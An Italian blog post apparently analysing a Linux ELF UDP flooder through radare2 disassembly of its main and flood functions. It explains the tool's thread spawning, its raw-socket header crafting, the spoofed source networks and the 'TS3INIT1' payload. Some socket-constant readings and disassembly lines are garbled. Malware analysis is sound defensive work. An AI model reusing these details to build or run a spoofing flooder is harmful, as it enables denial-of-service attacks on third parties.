SPAGHETTI HACKER

  1. FLOODER ELF - Dr. Pepper
    log.02c

    Tags
    malware
    re
    By Dr. Pepper il 12 Nov. 2023
     
    0 Comments   143 Views
    .
    DhPnjlW%201

    ;md5 86ef3c8d5eda4ababf2c8961d1e7d27d
    ;sha1 f04ccfd5b73fe03c23c7625a2a67cbc1f277ac3a
    ;sha256 d16e852f979d3c7f97e74b39c8901a64b40647504ff1e9cd41f88f0405c0d3e0
    ;os linux
    ;format ELF
    ;arch amd64
    ;path d16e852f979d3c7f97e74b39c8901a64b40647504ff1e9cd41f88f0405c0d3e0

    ;black box reverse engineering di un malware ELF.

    ;il malware ELF in esame, come scopriremo, è un flooder, che prende 4 parametri in ingresso, ossia l'IP del server vittima, la porta UDP, il throttle che determina quanti thread simultanei di flooding creare, e il time, che va a determinare il tempo delle fasi di sleep dei singoli thread.

    [0x00400990]> s main
    [0x00401211]> pdf
    DATA XREF from entry0 @ 0x4009ad
    ┌ 613: int main (signed int64_t argc, char **argv);
    ;arg signed int64_t argc @ rdi
    ;arg char **argv @ rsi
    ;var int64_t var_8h @ rbp-0x8
    ;var signed int64_t var_14h @ rbp-0x14
    ;var void *s @ rbp-0x20
    ;var size_t size @ rbp-0x24
    ;var int64_t var_28h @ rbp-0x28
    ;var int64_t var_30h @ rbp-0x30
    ;var int64_t var_38h @ rbp-0x38
    ;var int64_t var_40h @ rbp-0x40
    ;var int64_t var_48h @ rbp-0x48
    ;var signed int64_t var_54h @ rbp-0x54
    ;var char **str @ rbp-0x60

    0x00401211 push rbp
    0x00401212 mov rbp, rsp
    0x00401215 push rbx
    0x00401216 sub rsp, 0x58
    0x0040121a mov dword [var_54h], edi ; argc
    0x0040121d mov qword [str], rsi ; argv

    ;in str abbiamo un indirizzo di un array di stringe; i parametri passati all'eseguibile. l'IP, la porta, il throttle ed eventualmente il time.

    0x00401221 mov rax, rsp
    0x00401224 mov rbx, rax
    0x00401227 cmp dword [var_54h], 3
    0x0040122b jg 0x4012a2

    ;l'argc deve essere più grande di 3, quindi il nome dell'eseguibile più almeno 3 parametri, altrimenti il malware esce e stampa una stringa di errore.

    0x0040122d mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
    0x00401234 mov rdx, rax
    0x00401237 mov eax, str.Unknown_Parameter__n ; 0x4015f3 ; "Unknown Parameter!\n"
    0x0040123c mov rcx, rdx ; FILE *stream
    0x0040123f mov edx, 0x13 ; 19 ; size_t nitems
    0x00401244 mov esi, 1 ; size_t size
    0x00401249 mov rdi, rax ; const void *ptr
    0x0040124c call sym.imp.fwrite ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)

    ;stampa "Unknown Parameter!\n".

    0x00401251 mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
    0x00401258 mov rdx, rax
    0x0040125b mov eax, str.Coded_By:_r00t___root_n ; 0x401607 ; "Coded By: r00t @ root\n"
    0x00401260 mov rcx, rdx ; FILE *stream
    0x00401263 mov edx, 0x16 ; 22 ; size_t nitems
    0x00401268 mov esi, 1 ; size_t size
    0x0040126d mov rdi, rax ; const void *ptr
    0x00401270 call sym.imp.fwrite ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)

    ;stampa "Coded By: r00t @ root\n".

    0x00401275 mov rax, qword [str]
    0x00401279 mov rdx, qword [rax] ; ...
    0x0040127c mov ecx, str.Usage:__s__target_IP___port___throttle___time__n ; 0x401620 ; "Usage: %s <target IP> <port> <throttle> <time>\n"
    0x00401281 mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5
    0x00401288 mov rsi, rcx ; const char *format
    0x0040128b mov rdi, rax ; FILE *stream
    0x0040128e mov eax, 0
    0x00401293 call sym.imp.fprintf ; int fprintf(FILE *stream, const char *format, ...)

    ;stampa "Usage: %s <target IP> <port> <throttle> <time>\n".

    0x00401298 mov edi, 0xffffffff ; -1 ; int status
    0x0040129d call sym.imp.exit ; void exit(int status)

    ;exit con il codice di errore -1.

    0x004012a2 mov dword [var_28h], 0
    0x004012a9 mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5
    0x004012b0 mov rdx, rax
    0x004012b3 mov eax, str.Setting_up_Sockets..._n ; 0x401650 ; "Setting up Sockets...\n"
    0x004012b8 rcx, rdx ; FILE *stream
    0x004012bb mov edx, 0x16 ; 22 ; size_t nitems
    0x004012c0 mov esi, 1 ; size_t size
    0x004012c5 mov rdi, rax ; const void *ptr
    0x004012c8 call sym.imp.fwrite ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)

    ;stampa "Setting up Sockets...\n".

    0x004012cd mov dword [size], 0x80 ; 128
    0x004012d4 mov eax, dword [size]
    0x004012d7 cdqe

    ;cdqe eax > rax
    ;L'istruzione cdqe estende con segno una DWORD (valore a 32 bit) nel registro eax in una QWORD (valore a 64 bit) nel registro rax.

    0x004012d9 mov rdi, rax ; size_t size
    0x004012dc call sym.imp.malloc ; void *malloc(size_t size)

    ;alloca 128 byte per il puntatore *s; il valore di ritorno della funzione malloc, immagazzinato in rax, è l'indirizzo delle memoria allocata, che viene in [s].

    0x004012e1 mov qword [s], rax
    0x004012e5 mov eax, dword [size]
    0x004012e8 movsxd rdx, eax ; size_t n
    0x004012eb mov rax, qword [s]
    0x004012ef mov esi, 0 ; int c
    0x004012f4 mov rdi, rax ; void *s
    0x004012f7 call sym.imp.memset ; void *memset(void *s, int c, size_t n)

    ;setta a 0 tutti i 128 byte della stringa puntata dal puntatore *s.

    0x004012fc mov qword [s], rax
    0x00401300 mov rax, qword [str]
    0x00401304 add rax, 0x18 ; 24

    ;add rax+24, sta puntando al terzo parametro, dopo IP e porta, troviamo il throttle, che determinerà il numero di thread di flooding da creare.

    0x00401308 mov rax, qword [rax]
    0x0040130b mov rdi, rax ; const char *str
    0x0040130e call sym.imp.atoi ; int atoi(const char *str)

    ;atoi - converte una stringa in un numero, quindi converte la stringa del parametro throttle in un numero.

    0x00401313 mov dword [var_14h], eax
    0x00401316 mov eax, dword [var_14h]
    0x00401319 movsxd rdx, eax
    0x0040131c sub rdx, 1

    ;se inseriamo 10 come throttle, in rdx abbiamo 9; viene decrementato perchè poi il compare viene fatto confrontato questo valore con un indice che parte da 0, e non con un indice che parte da 1.

    0x00401336 shl rax, 4
    0x0040133a sub rsp, rax
    0x0040133d mov rax, rsp
    0x00401340 add rax, 0xf ; 15
    0x00401344 shr rax, 4
    0x00401348 shl rax, 4
    0x0040134c mov qword [var_40h], rax

    ;var_40h risulta una sorta di base address da dove iniziare a collocare i vari pthread creati.

    0x00401350 mov eax, dword [var_14h]
    0x00401353 movsxd rdx, eax
    0x00401356 sub rdx, 1
    0x0040135a mov qword [var_38h], rdx

    ;qui valorizza var_38h con rdx.

    0x0040135e cdqe
    0x00401360 shl rax, 5
    0x00401364 add rax, 0xf ; 15
    0x00401368 add rax, 0xf ; 15
    0x0040136c shr rax, 4
    0x00401370 shl rax, 4
    0x00401374 sub rsp, rax
    0x00401377 mov rax, rsp

    ;fa altre operazioni per fare spazio sullo stack.

    0x0040137a add rax, 0xf ; 15
    0x0040137e shr rax, 4
    0x00401382 shl rax, 4
    0x00401386 mov qword [var_30h], rax

    ;qui valorizza var_30h.

    0x0040138a mov rax, qword [str]
    0x0040138e add rax, 0x10 ; 16
    0x00401392 mov rax, qword [rax]
    0x00401395 mov rdi, rax ; const char *str
    0x00401398 call sym.imp.atoi ; int atoi(const char *str)

    ;qui trasforma la stringa della porta in un integer, abbiamo passato come porta la 4444.

    0x0040139d movzx eax, ax
    0x004013a0 mov edi, eax
    0x004013a2 call sym.imp.htons

    ;La funzione htons può essere utilizzata per convertire un numero di porta IP nell'ordine dei byte dell'host (host byte order) nel numero di porta IP nell'ordine dei byte della rete (network byte order); numero di porta IP 4444 in network byte order.

    0x004013a7 movzx eax, ax
    0x004013aa mov dword [obj.attport], eax ; [0x605b00:4]=0

    ;la porta viene messa nella locazione di memoria puntata dall'indirizzo ojb.attport.

    0x004013b0 mov dword [var_28h], 0
    0x004013b7 jmp 0x4013ec

    ;inizializza var_28h a 0 e salta al compare del loop.

    ; CODE XREF from main @ 0x4013f2
    0x004013b9 mov rax, qword [str]
    0x004013bd add rax, 8
    0x004013c1 mov rax, qword [rax]

    ;in str c'è l'indirizzo all'array di stringhe; sta puntando in questo caso all'indirizzo all'IP vittima, perchè il parametro 0 è il nome dell'eseguibile, rax+8 è il primo parametro; è un array di indirizzi di 64 bit.

    0x004013c4 mov rdx, qword [var_40h]
    0x004013c8 mov ecx, dword [var_28h]

    ;ipotizzando che var_40h sia un base address per i pthread e var_28h un indice; ecx è 0 inzialmente.

    0x004013cb movsxd rcx, ecx
    0x004013ce shl rcx, 3

    ;essendo uno shl (shift left), il valore iniziale è 0, poi diventa 8 quando rcx è 1, poi 16 e cosi via.

    0x004013d2 lea rdi, [rdx + rcx]

    ;ogni thread si distazia dal successivo di 8 byte.
    ;pthread_create(0x7ffff01afc80, 0, 0x400da0, 0x7ffff01b1302) = 0
    ;pthread_create(0x7ffff01afc88, 0, 0x400da0, 0x7ffff01b1302) = 0

    0x004013d6 mov rcx, rax

    ;qui l'IP viene messo in rcx, che è il void *restricted arg di pthread_create; è un puntatore alla stringa dell'IP, infatti ; è sempre lo stesso puntatore.

    0x004013d9 mov edx, sym.flood ; 0x400da0 indirizzo della flood
    0x004013de mov esi, 0
    0x004013e3 call sym.imp.pthread_create
    0x004013e8 add dword [var_28h], 1

    ;viene incrementato il contatore, dopo che è stato creato il thread con la funzione flood.

    0x004013ec mov eax, dword [var_28h]
    0x004013ef cmp eax, dword [var_14h]
    0x004013f2 jl 0x4013b9

    ;crea i thread di flood passando la funzione flood come parametro per pthread_create e va a comparare il numero inserito come parametro throttle con l'indice; ritorna indietro, in caso l'indice sia inferiore; per questo è comparato a 9, in modo da creare 10 pthread, nel caso avessimo inserito throttle = 10.

    ;int pthread_create(pthread_t *restrict thread,
    ;const pthread_attr_t *restrict attr,
    ;void *(*start_routine)(void *),
    ;void *restrict arg);

    ;https://man7.org/linux/man-pages/man3/pthread_create.3.html

    ;lea rdi, [rsp]
    ;xor rsi, rsi
    ;lea rdx, [rip+countThread]
    ;mov rcx, 1
    ;call pthread_create@plt

    ;traduzione dall'articolo sotto, per capire quali sono i parametri passati alla funzione pthread_creat; "il blocco successivo avvia il primo thread chiamando pthread_create; richiede quattro argomenti, il primo parametro è l'indirizzo di una variabile pthread (o pthread* in C). Il secondo parametro può essere mantenuto pari a zero per il mio caso d'uso. Il terzo parametro è il puntatore alla funzione da chiamare; infine, il quarto parametro è l'argomento void* della funzione del thread di cui ho parlato prima. Come ho detto, lo uso per passare un singolo numero intero che verrà visualizzato come numero del thread; per il primo thread, ho scelto di utilizzare 1."

    ;https://astharoshe.net/2020-08-31-Threads_...embler_way.html

    ;%rdi %rsi %rdx %rcx

    0x004013f4 mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5
    0x004013fb mov rdx, rax
    0x004013fe mov eax, str.Starting_Flood..._n ; 0x401667 ; "Starting Flood...\n"
    0x00401403 mov rcx, rdx ; FILE *stream
    0x00401406 mov edx, 0x12 ; 18 ; size_t nitems
    0x0040140b mov esi, 1 ; size_t size
    0x00401410 mov rdi, rax ; const void *ptr
    0x00401413 call sym.imp.fwrite ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)

    ;stampa "Starting Flood\n".

    0x00401418 mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5
    0x0040141f mov rdx, rax
    0x00401422 mov eax, str.Coded_By:_r00t___root_n ; 0x401607 ; "Coded By: r00t @ root\n"
    0x00401427 mov rcx, rdx ; FILE *stream
    0x0040142a mov edx, 0x16 ; 22 ; size_t nitems
    0x0040142f mov esi, 1 ; size_t size
    0x00401434 mov rdi, rax ; const void *ptr
    0x00401437 call sym.imp.fwrite ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)

    ;stampa "Coded By: r00t @ root\n".

    0x0040143c cmp dword [var_54h], 4
    0x00401440 jle 0x40146a
    0x00401442 mov rax, qword [str]
    0x00401446 add rax, 0x20 ; 32

    ;qui punta al quarto parametro, il time.

    0x0040144a mov rax, qword [rax]
    0x0040144d mov rdi, rax ; const char *str
    0x00401450 call sym.imp.atoi ; int atoi(const char *str)

    ;lo converte in numero.

    0x00401455 mov edi, eax ; int s
    0x00401457 call sym.imp.sleep ; int sleep(int s)

    ;e fa un ulteriore sleep.

    0x0040145c mov eax, 0
    0x00401461 mov rsp, rbx
    0x00401464 mov rbx, qword [var_8h]
    0x00401468 leave
    0x00401469 ret

    ;dopo di che esce.

    0x0040146a mov edi, 1 ; int s
    0x0040146f call sym.imp.sleep ; int sleep(int s)

    ;sleep 1 secondo, lo fa per 4 volte, poi va avanti fino alla ret (exit).

    0x00401474 jmp 0x40146a

    ;ritorna indietro

    ------------------------------------------------------------------------------

    ;flood function

    ;questa è la funzione che si occupa di flooddare la vittima, inondandola di pacchetti UDP; pacchetti UDP che ogni volta avranno mittente IP differente, scelto da una serie di reti, porte UDP mittente casuali e payload di 38 byte marcato. la flood è una funzione che non ritorna, quindi in teoria manda pacchetti UDP all'IP scelto indefinitivamente.

    [0x00400da0]> pdf

    ;sym.flood (int64_t arg1); // noreturn
    ;arg int64_t arg1 @ rdi
    ;var uint32_t var_14h @ rbp-0x14
    ;var uint32_t var_18h @ rbp-0x18
    ;var void *optname @ rbp-0x200x2068
    ;var uint32_t var_24h @ rbp-0x24
    ;var uint32_t sockfd @ rbp-0x28
    ;var int64_t var_30h @ rbp-0x30
    ;var int64_t var_38h @ rbp-0x38
    ;var int64_t var_40h @ rbp-0x40

    0x00400da0 push rbp
    0x00400da1 mov rbp, rsp
    0x00400da4 push rbx
    0x00400da5 sub rsp, 0x2068

    ;8298 bytes sullo stack.

    0x00400dac mov qword [rbp - 0x2068], rdi ; arg1
    0x00400db3 mov rax, qword [rbp - 0x2068]
    0x00400dba mov qword [var_40h], rax

    ;[rbp-0x2068] = rdi, quindi l'indirizzo di arg1, dove c'è l'IP della vittima.

    0x00400dbe lea rax, [rbp - 0x2040]

    ;var_38h è il puntatore alla struttura dell'header IP.

    0x00400dc5 mov qword [var_38h], rax
    0x00400dc9 mov rax, qword [var_38h]
    0x00400dcd add rax, 0x14 ; 20

    ;dato che l'header UDP segue immediatamente l'header IP in un pacchetto UDP, possiamo assumere che rdi + 0x14 punti ai primi byte dell'header UDP; pertanto, rdi + 0x14 potrebbe rappresentare il campo di porta sorgente dell'header UDP.

    0x00400dd1 mov qword [var_30h], rax

    ;questo sarebbe il puntatore all'header UDP, immagazzinato in var_30h.

    0x00400dd5 mov word [rbp - 0x2050], 2
    0x00400dde mov rax, qword [var_40h]
    0x00400de2 mov rdi, rax
    0x00400de5 call sym.imp.inet_addr

    ;questa funzione accetta come argomento una stringa C in input e va a parsare la dotted-quad notation per restituire un valore di indirizzo Internet a 32 bit. Il valore a 32 bit restituito è in network byte order; se la stringa dell'argomento in input non rappresenta un indirizzo valido, viene restituito il valore INADDR_NONE; qualsiasi altro valore restituito rappresenta il valore convertito; alla fine abbiamo un indirizzo in network byte order

    0x00400dea mov dword [rbp - 0x204c], eax
    0x00400df0 mov eax, dword [obj.attport] ; [0x605b00:4]=0
    0x00400df6 mov word [rbp - 0x204e], ax
    0x00400dfd mov edx, 6 ; int protocol
    0x00400e02 mov esi, 3 ; int type
    0x00400e07 mov edi, 2 ; int domain
    0x00400e0c call sym.imp.socket ; int socket(int domain, int type, int protocol)

    ;se ogni thread crea un nuovo socket all'inizio della funzione di flood, allora la strategia sembra essere quella di utilizzare configurazioni del socket dinamiche per ogni invio di pacchetto, forse come parte di una tattica di elusione o per complicare ulteriormente la rilevazione; la funzione socket accetta tre parametri: domain, type, e protocol, che vengono utilizzati per creare un socket:

    ;domain è impostato a 2, che indica il dominio IPv4.
    ;type è impostato a 3, che indica SOCK_DGRAM, ovvero un socket di tipo datagram (UDP).
    ;protocol è impostato a 6, che può essere il protocollo TCP o UDP.
    ;in questo caso, probabilmente è utilizzato per indicare UDP.
    ;l'IP e la porta della vittima vengono utilizzati per configurare ulteriormente il socket creato; la porta viene recuperata da obj.attport.

    0x00400e11 mov dword [sockfd], eax
    0x00400e14 cmp dword [sockfd], 0
    0x00400e18 jns 0x400e48

    ;jns jump if not sign; è sign quando va in errore, quando sockfd è -1

    0x00400e1a mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
    0x00400e21 mov rdx, rax
    0x00400e24 mov eax, str.Could_not_open_raw_socket._n ; 0x4015ab ; "Could not open raw socket.\n"
    0x00400e29 mov rcx, rdx ; FILE *stream
    0x00400e2c mov edx, 0x1b ; 27 ; size_t nitems
    0x00400e31 mov esi, 1 ; size_t size
    0x00400e36 mov rdi, rax ; const void *ptr
    0x00400e39 call sym.imp.fwrite ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)

    ;stampa "Could not open raw socket.\n".

    0x00400e3e mov edi, 0xffffffff ; -1 ; int status
    0x00400e43 call sym.imp.exit ; void exit(int status)

    ;esce.

    0x00400e48 mov edi, 0 ; time_t *timer
    0x00400e4d call sym.imp.time ; time_t time(time_t *timer)

    ;la funzione time ritorna il tempo, che viene messo in eax e poi in edi per essere passato alla funzione rand come seme randomico.

    0x00400e52 mov edi, eax ; int64_t arg1
    0x00400e54 call sym.init_rand

    ;la cosa strana qui è che il valore ritornato dalla funzione rand viene poi sovrascritto con l'indirizzo del buffer

    0x00400e59 lea rax, [rbp - 0x2040]
    0x00400e60 mov edx, 0x2000 ; size_t n
    0x00400e65 mov esi, 0 ; int c
    0x00400e6a mov rdi, rax ; void *s
    0x00400e6d call sym.imp.memset ; void *memset(void *s, int c, size_t n)

    ;qui sembrerebbe settare a 0 una grossa fetta di memoria, 8192 bytes.

    0x00400e72 mov rax, qword [var_38h]
    0x00400e76 mov rdi, rax ; int64_t arg1
    0x00400e79 call sym.setup_ip_header

    ;l'IP "192.168.3.100" viene impostato come un indirizzo IP di destinazione predefinito, ma poi viene sovrascritto con l'indirizzo IP effettivo del target del flooder; questo approccio è comune in molti scenari in cui è necessario inizializzare alcuni valori predefiniti per poi aggiornarli o sovrascriverli in base a parametri o condizioni specifiche. nel contesto di un attacco flood, l'indirizzo IP di destinazione sarà probabilmente impostato sul target effettivo dell'attacco dopo la generazione dell'indirizzo IP mittente e la creazione dell'intestazione IP; questo consente una maggiore flessibilità nell'indirizzamento dei pacchetti verso la vittima desiderata.

    ;l'IP mittente è generato in modo casuale all'interno del codice. l'uso di sym.imp.rand e l'applicazione di operazioni matematiche sui valori restituiti da rand suggeriscono che l'IP mittente sarà un indirizzo casuale; questo è comune negli attacchi di tipo DDoS o flood, in cui l'obiettivo è inviare un gran numero di pacchetti da diverse sorgenti apparentemente casuali per confondere o sovraccaricare il destinatario.

    0x00400e7e mov rax, qword [var_30h]
    0x00400e82 mov rdi, rax ; size_t arg1
    0x00400e85 call sym.setup_UDP_header

    ;stessa cosa per gli header UDP.

    0x00400e8a mov eax, dword [obj.attport] ; [0x605b00:4]=0
    0x00400e90 mov edx, eax

    ;in edx ci mette la porta.

    0x00400e92 mov rax, qword [var_30h]
    0x00400e96 mov word [rax + 2], dx
    0x00400e9a call sym.imp.rand ; int rand(void)

    ;chiama rand, e il valore randomico di ritorno viene immagazzinato in ecx.

    0x00400e9f mov ecx, eax
    0x00400ea1 mov edx, 0x80008001
    0x00400ea6 mov eax, ecx
    0x00400ea8 imul edx
    0x00400eaa lea eax, [rdx + rcx]
    0x00400ead mov edx, eax
    0x00400eaf ar edx, 0xf
    0x00400eb2 mov eax, ecx
    0x00400eb4 sar eax, 0x1f
    0x00400eb7 sub edx, eax
    0x00400eb9 mov eax, edx
    0x00400ebb shl eax, 0x10
    0x00400ebe sub eax, edx
    0x00400ec0 mov edx, ecx
    0x00400ec2 sub edx, eax
    0x00400ec4 mov eax, edx
    0x00400ec6 movzx eax, ax
    0x00400ec9 mov edi, eax
    0x00400ecb call sym.imp.htons

    ;qui fa un sacco di roba e alla fine ottiene qualcosa in network byte order, presumibilmente la porta sorgente.

    ;htons (host to network short) è comunemente utilizzato per convertire numeri di porta (valori a 16 bit) in formato host (locale) in formato di rete (big-endian) e viceversa; non è destinato a essere utilizzato per la conversione di indirizzi IP, poiché questi sono rappresentati da 32 bit e devono essere trattati diversamente; inoltre, per gli indirizzi IP, viene spesso utilizzata la funzione htonl (host to network long) o inet_addr per la conversione tra formato host e formato di rete.

    ;sembra che il pezzo di codice generi una porta casuale a seconda del valore di edi; la sequenza di istruzioni che coinvolge sym.imp.rand, moltiplicazioni e operazioni bitwise è utilizzata per generare un numero di 16 bit (porta) basato sul valore di edi; il risultato viene poi convertito in formato big-endian utilizzando htons e scritto nella variabile ax; quindi, in base al valore di edi, otterremo diverse porte casuali in uscita.

    0x00400ed0 mov rdx, qword [var_30h]
    0x00400ed4 mov word [rdx], ax

    ;qui inserisce la porta casuale come porta mittente.

    0x00400ed7 mov edx, dword [rbp - 0x204c]
    0x00400edd mov rax, qword [var_38h]
    0x00400ee1 mov dword [rax + 0x10], edx

    ;qui va ad impostare l'IP destinazione.

    Offset Campo
    ------ -----
    0x0 Version e IHL
    0x1 Type of Service
    0x2 Length (High Byte)
    0x3 Length (Low Byte)
    0x4 Identification (High Byte)
    0x5 Identification (Low Byte)
    0x6 Flags e Fragment Offset (High Byte)
    0x7 Flags e Fragment Offset (Low Byte)
    0x8 Time to Live
    0x9 Protocol
    0xA Header Checksum (High Byte)
    0xB Header Checksum (Low Byte)
    0xC Source IP Address (Byte 1)
    0xD Source IP Address (Byte 2)
    0xE Source IP Address (Byte 3)
    0xF Source IP Address (Byte 4)
    0x10 Destination IP Address (Byte 1)
    0x11 Destination IP Address (Byte 2)
    0x12 Destination IP Address (Byte 3)
    0x13 Destination IP Address (Byte 4)

    0x00400ee4 e85ffaffff call sym.imp.rand ; int rand(void)

    ;altra chiamata alla funzione rand
    ;La funzione della libreria C int rand(void) restituisce un numero pseudo-casuale compreso tra 0 e RAND_MAX; RAND_MAX è una costante il cui valore predefinito può variare tra le implementazioni ma è garantito che sia almeno 32767.

    0x00400ee9 mov ecx, eax
    0x00400eeb mov edx, 0x2aaaaaab
    0x00400ef0 mov eax, ecx
    0x00400ef2 imul edx
    0x00400ef4 mov eax, ecx
    0x00400ef6 sar eax, 0x1f
    0x00400ef9 sub edx, eax
    0x00400efb mov eax, edx
    0x00400efd add eax, eax
    0x00400eff add eax, edx
    0x00400f01 add eax, eax
    0x00400f03 mov edx, ecx
    0x00400f05 sub edx, eax
    0x00400f07 lea eax, [rdx + 1]
    0x00400f0a mov dword [var_24h], eax
    0x00400f0d cmp dword [var_24h], 1
    0x00400f11 jne 0x400f2d
    0x00400f13 call sym.rand_cmwc
    0x00400f18 shr eax, 0x10
    0x00400f1b shl eax, 0x18
    0x00400f1e mov edx, eax
    0x00400f20 or edx, 0x40f942
    0x00400f26 mov rax, qword [var_38h]
    0x00400f2a mov dword [rax + 0xc], edx

    ;qui va ad impostare l'IP mittente;

    Offset Campo
    ------ -----
    0x0 Version e IHL
    0x1 Type of Service
    0x2 Length (High Byte)
    0x3 Length (Low Byte)
    0x4 Identification (High Byte)
    0x5 Identification (Low Byte)
    0x6 Flags e Fragment Offset (High Byte)
    0x7 Flags e Fragment Offset (Low Byte)
    0x8 Time to Live
    0x9 Protocol
    0xA Header Checksum (High Byte)
    0xB Header Checksum (Low Byte)
    0xC Source IP Address (Byte 1)
    0xD Source IP Address (Byte 2)
    0xE Source IP Address (Byte 3)
    0xF Source IP Address (Byte 4)
    0x10 Destination IP Address (Byte 1)
    0x11 Destination IP Address (Byte 2)
    0x12 Destination IP Address (Byte 3)
    0x13 Destination IP Address (Byte 4)

    ;in una sandbox air gapped, ho intercettato con wireshark i pacchetti UDP verso 127.0.0.1; gli IP mittente provengono da diverse reti e sottoreti: 66.249.x.x che è Google (il flooder simula google bot), poi abbiamo le reti 108.162.(237,221,229), e 172.68.(65,11); le porte UDP mittente, come abbiamo ipotizzato sono casuali; wireshark ci dice che questi pacchetti hanno un BAD UDP LENGHT 97 > IP PAYLOAD LENGHT, dove len=89; mentre nel payload di 38 byte abbiamo sempre la stringa TS3INIT1.

    ;sembra che il malware stia effettivamente simulando varie fonti IP, comprese quelle associabili a Google (66.249.x.x) e altre reti; la casualità degli indirizzi IP mittenti è coerente con l'analisi della funzione sym.rand_cmwc che genera valori casuali per la configurazione dell'IP mittente; il fatto che le porte UDP siano casuali è anche in linea con il comportamento atteso di un malware che cerca di mascherare la sua attività di rete e sembrare più legittimo possibile.

    ;la presenza di "BAD UDP LENGTH" potrebbe indicare un problema nel formato dei pacchetti inviati dal malware. tuttavia, nel contesto di un attacco di flooding, il malware potrebbe deliberatamente generare pacchetti non standard o incorretti per confondere il sistema bersaglio o cercare di evitare la rilevazione.

    ;la stringa "TS3INIT1" nel payload sembra essere un marker o un identificatore specifico utilizzato dal malware; potrebbe essere una firma o una sequenza di controllo utilizzata per identificare la comunicazione legittima tra i nodi compromessi.

    0x00400f2d cmp dword [var_24h], 2
    0x00400f31 jne 0x400f4d
    0x00400f33 call sym.rand_cmwc
    0x00400f38 shr eax, 0x10
    0x00400f3b shl eax, 0x18
    0x00400f3e mov edx, eax
    0x00400f40 or edx, 0x4144ac
    0x00400f46 mov rax, qword [var_38h]
    0x00400f4a mov dword [rax + 0xc], edx
    0x00400f4d cmp dword [var_24h], 3
    0x00400f51 jne 0x400f6d
    0x00400f53 call sym.rand_cmwc
    0x00400f58 shr eax, 0x10
    0x00400f5b shl eax, 0x18
    0x00400f5e mov edx, eax
    0x00400f60 or edx, 0xb44ac
    0x00400f66 mov rax, qword [var_38h]
    0x00400f6a mov dword [rax + 0xc], edx
    0x00400f6d cmp dword [var_24h], 4

    0x00400f71 jne 0x400f8d
    0x00400f73 call sym.rand_cmwc
    0x00400f78 shr eax, 0x10
    0x00400f7b shl eax, 0x18
    0x00400f7e mov edx, eax
    0x00400f80 or edx, 0xdda26c
    0x00400f86 mov rax, qword [var_38h]
    0x00400f8a mov dword [rax + 0xc], edx
    ; CODE XREF from sym.flood @ 0x400f71
    0x00400f8d cmp dword [var_24h], 5

    0x00400f91 jne 0x400fad
    0x00400f93 call sym.rand_cmwc
    0x00400f98 shr eax, 0x10
    0x00400f9b shl eax, 0x18
    0x00400f9e mov edx, eax
    0x00400fa0 or edx, 0xe5a26c
    0x00400fa6 mov rax, qword [var_38h]
    0x00400faa mov dword [rax + 0xc], edx
    ; CODE XREF from sym.flood @ 0x400f91
    0x00400fad cmp dword [var_24h], 6

    0x00400fb1 jne 0x400fcd
    0x00400fb3 call sym.rand_cmwc
    0x00400fb8 shr eax, 0x10
    0x00400fbb shl eax, 0x18
    0x00400fbe mov edx, eax
    0x00400fc0 or edx, 0xeda26c
    0x00400fc6 mov rax, qword [var_38h]
    0x00400fca mov dword [rax + 0xc], edx
    ; CODE XREF from sym.flood @ 0x400fb1
    0x00400fcd mov rax, qword [var_38h]

    0x00400fd1 movzx eax, word [rax + 2]
    0x00400fd5 shr ax, 1
    0x00400fd8 movzx edx, ax
    0x00400fdb lea rax, [rbp - 0x2040]
    0x00400fe2 mov esi, edx ; signed int64_t arg2
    0x00400fe4 mov rdi, rax ; int64_t arg1
    0x00400fe7 call sym.csum

    0x00400fec mov rdx, qword [var_38h]
    0x00400ff0 mov word [rdx + 0xa], ax
    0x00400ff4 mov dword [rbp - 0x2054], 1
    0x00400ffe lea rax, [rbp - 0x2054]
    0x00401005 mov qword [optname], rax
    0x00401009 mov rdx, qword [optname]
    0x0040100d mov eax, dword [sockfd]
    0x00401010 mov r8d, 4 ; socklen_t optlen
    0x00401016 mov rcx, rdx ; void *optval
    0x00401019 mov edx, 3 ; int optname
    0x0040101e mov esi, 0 ; int level
    0x00401023 mov edi, eax ; int sockfd
    0x00401025 call sym.imp.setsockopt ; int setsockopt(int sockfd, int level, int optname, void *optval, socklen_t optlen)

    ;le reti mittente casuali generate dai valori esadecimali in or con edx.

    0x40f942: Invertendo gli ottetti, diventa 66.249.64.x
    0xdda26c: Diventa 108.162.221.x
    0xe5a26c: Diventa 108.162.229.x
    0xeda26c: Diventa 108.162.237.x
    0xb44ac: Diventa 172.68.x.x

    ;sembra che l'operazione or edx stia generando gli ultimi due ottetti dell'indirizzo IP casuale; questi valori potrebbero essere ottenuti da un calcolo o da una generazione pseudo-casuale; una volta combinati con i valori di rete che abbiamo identificato, formerebbero l'IP mittente casuale.

    ;genera l'IP mittente casuale e checksum per poi impostare le option del socket con setsockopt; questa chiamata a setsockopt sta impostando alcune opzioni sul socket; ecco come possiamo interpretare i parametri:

    ;il primo parametro è il descrittore del socket; il secondo parametro (SOL_IP) specifica il livello del socket a cui l'opzione appartiene; in questo caso, si tratta del livello IP, che è associato a SOL_IP su alcuni sistemi Linux; il terzo parametro (IP_HDRINCL) è l'opzione specifica che viene impostata; IP_HDRINCL è utilizzato per indicare che il mittente del pacchetto fornirà un proprio header IP invece di farlo fare al kernel; il quarto parametro è il valore dell'opzione; il quinto parametro è la dimensione dell'opzione; quindi, in parole povere, questa chiamata a setsockopt sta dicendo al sistema operativo di includere l'header IP fornito manualmente dal mittente del pacchetto invece di generarlo automaticamente; questo potrebbe essere utile in scenari in cui si vuole il controllo completo sull'header IP e lo si fornisce manualmente.

    ;da notare che SOL_IP e IP_HDRINCL sono specifici del sistema operativo Linux; in altri sistemi, potrebbe essere necessario utilizzare costanti diverse.

    ;Synopsis:
    ;#include <sys/types.h>
    ;#include <sys/socket.h>

    ;int setsockopt( int s,
    ;int level,
    ;int optname,
    ;const void * optval,
    ;socklen_t optlen );

